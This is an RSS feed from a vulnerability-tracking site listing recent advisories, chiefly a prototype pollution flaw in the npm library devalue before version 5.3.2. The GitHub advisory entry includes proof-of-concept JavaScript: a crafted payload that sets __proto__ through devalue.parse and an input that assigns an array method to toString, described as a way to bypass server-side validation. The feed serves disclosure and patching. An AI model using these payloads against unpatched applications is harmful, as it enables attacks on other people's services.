<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 14 Oct 2026 15:19:55 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-251101</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-251101</link>
      <description>EUVD-2026-251101</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-251101</guid>
    </item>
    <item>
      <title>fkie_cve-2025-57820</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2025-57820</link>
      <description>&lt;p&gt;Svelte devalue is a utility library. Prior to version 5.3.2, a string passed to devalue.parse could represent an object with a __proto__ property and devalue.parse does not check that an index is numeric. This could result in assigning prototypes to objects and properties, leading to prototype pollution. This issue has been fixed in version 5.3.2&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Svelte devalue is a utility library. Prior to version 5.3.2, a string passed to devalue.parse could represent an object with a __proto__ property and devalue.parse does not check that an index is numeric. This could result in assigning prototypes to objects and properties, leading to prototype pollution. This issue has been fixed in version 5.3.2&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2025-57820</guid>
    </item>
    <item>
      <title>GHSA-vj54-72f3-p5jv — devalue prototype pollution vulnerability</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-vj54-72f3-p5jv</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: devalue&lt;/p&gt;
&lt;p&gt;## 1. `devalue.parse` allows `__proto__` to be set&lt;/p&gt;
&lt;p&gt;A string passed to `devalue.parse` could represent an object with a `__proto__` property, which would assign a prototype to an object while allowing properties to be overwritten:&lt;/p&gt;
&lt;p&gt;```js
class Vector {
  constructor(x, y) {
    this.x = x;
    this.y = y;
  }&lt;/p&gt;
&lt;p&gt;get magnitude() {
    return (this.x ** 2 + this.y ** 2) ** 0.5;
  }
}&lt;/p&gt;
&lt;p&gt;const payload = `[{&amp;#34;x&amp;#34;:1,&amp;#34;y&amp;#34;:2,&amp;#34;magnitude&amp;#34;:3,&amp;#34;__proto__&amp;#34;:4},3,4,&amp;#34;nope&amp;#34;,[&amp;#34;Vector&amp;#34;,5],[6,7],8,9]`;&lt;/p&gt;
&lt;p&gt;const vector = devalue.parse(payload, {
  Vector: ([x, y]) =&amp;gt; new Vector(x, y)
});&lt;/p&gt;
&lt;p&gt;console.log(&amp;#34;Is vector&amp;#34;, vector instanceof Vector); // true
console.log(vector.x) // 3
console.log(vector.y) // 4
console.log(vector.magnitude); // &amp;#34;nope&amp;#34; instead of 5
```&lt;/p&gt;
&lt;p&gt;## 2. `devalue.parse` allows array prototype methods to be assigned to object&lt;/p&gt;
&lt;p&gt;In a payload constructed with `devalue.stringify`, values are represented as array indices, where the array contains the &amp;#39;hydrated&amp;#39; values:&lt;/p&gt;
&lt;p&gt;```js
devalue.stringify({ message: &amp;#39;hello&amp;#39; }); // [{&amp;#34;message&amp;#34;:1},&amp;#34;hello&amp;#34;]
```&lt;/p&gt;
&lt;p&gt;`devalue.parse` does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:&lt;/p&gt;
&lt;p&gt;```js
const object = devalue.parse(&amp;#39;[{&amp;#34;toString&amp;#34;:&amp;#34;push&amp;#34;}]&amp;#39;);
object.toString(); // 0
```&lt;/p&gt;
&lt;p&gt;This could be used by a creative attacker to bypass server-side validation.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: devalue&lt;/p&gt;
&lt;p&gt;## 1. `devalue.parse` allows `__proto__` to be set&lt;/p&gt;
&lt;p&gt;A string passed to `devalue.parse` could represent an object with a `__proto__` property, which would assign a prototype to an object while allowing properties to be overwritten:&lt;/p&gt;
&lt;p&gt;```js
class Vector {
  constructor(x, y) {
    this.x = x;
    this.y = y;
  }&lt;/p&gt;
&lt;p&gt;get magnitude() {
    return (this.x ** 2 + this.y ** 2) ** 0.5;
  }
}&lt;/p&gt;
&lt;p&gt;const payload = `[{&amp;#34;x&amp;#34;:1,&amp;#34;y&amp;#34;:2,&amp;#34;magnitude&amp;#34;:3,&amp;#34;__proto__&amp;#34;:4},3,4,&amp;#34;nope&amp;#34;,[&amp;#34;Vector&amp;#34;,5],[6,7],8,9]`;&lt;/p&gt;
&lt;p&gt;const vector = devalue.parse(payload, {
  Vector: ([x, y]) =&amp;gt; new Vector(x, y)
});&lt;/p&gt;
&lt;p&gt;console.log(&amp;#34;Is vector&amp;#34;, vector instanceof Vector); // true
console.log(vector.x) // 3
console.log(vector.y) // 4
console.log(vector.magnitude); // &amp;#34;nope&amp;#34; instead of 5
```&lt;/p&gt;
&lt;p&gt;## 2. `devalue.parse` allows array prototype methods to be assigned to object&lt;/p&gt;
&lt;p&gt;In a payload constructed with `devalue.stringify`, values are represented as array indices, where the array contains the &amp;#39;hydrated&amp;#39; values:&lt;/p&gt;
&lt;p&gt;```js
devalue.stringify({ message: &amp;#39;hello&amp;#39; }); // [{&amp;#34;message&amp;#34;:1},&amp;#34;hello&amp;#34;]
```&lt;/p&gt;
&lt;p&gt;`devalue.parse` does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:&lt;/p&gt;
&lt;p&gt;```js
const object = devalue.parse(&amp;#39;[{&amp;#34;toString&amp;#34;:&amp;#34;push&amp;#34;}]&amp;#39;);
object.toString(); // 0
```&lt;/p&gt;
&lt;p&gt;This could be used by a creative attacker to bypass server-side validation.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-vj54-72f3-p5jv</guid>
    </item>
  </channel>
</rss>
